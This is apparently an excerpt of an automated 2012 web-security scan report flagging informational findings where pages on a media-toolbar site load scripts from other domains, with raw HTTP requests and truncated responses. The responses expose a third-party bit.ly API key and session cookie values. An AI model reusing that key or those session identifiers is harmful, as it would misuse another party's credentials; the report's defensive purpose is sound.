Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

5.1. http://toolbarmodal.medialeopard.com/sharethis/share/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/share/frame

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /sharethis/share/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=C9CCBDD42DC300C90EF861628BC8E280; Path=/
Content-Length: 6117
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<img src="/sharethis/view;jsessionid=C9CCBDD42DC300C90EF861628BC8E280?v=45&t=&p=&a=&l=&time=1325558285069" width="1" height="1" style="display:none"/>
<script type="text/javascript" src="http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca"></script>
...[SNIP]...

5.2. http://toolbarmodal.medialeopard.com/sharethis/shared/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/shared/frame

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /sharethis/shared/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=8472F44BEFFF45D61E4D09C91C20728C; Path=/
Content-Length: 6450
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<img src="/sharethis/view;jsessionid=8472F44BEFFF45D61E4D09C91C20728C?v=45&t=&p=&a=&l=true&time=1325558285123" width="1" height="1" style="display:none"/>
<script type="text/javascript" src="http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca"></script>
...[SNIP]...

5.3. http://toolbarmodal.medialeopard.com/viewmore/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/viewmore/frame

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://objects.tremormedia.com/embed/js/banners.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /viewmore/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=E7C99368A8A32E9CDF541B932F3C8A54; Path=/
Connection: Close
Content-Length: 14081

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...

<script type='text/javascript' src="http://objects.tremormedia.com/embed/js/banners.js"></script>
...[SNIP]...

5.4. http://toolbarmodal.medialeopard.com/zoom/frame previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/zoom/frame

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /zoom/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=A51F3CAEFDBFBC2CB135C96A98390C37; Path=/
Content-Length: 6764
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...

Report generated by XSS.Cx at Mon Jan 23 13:14:44 CST 2012.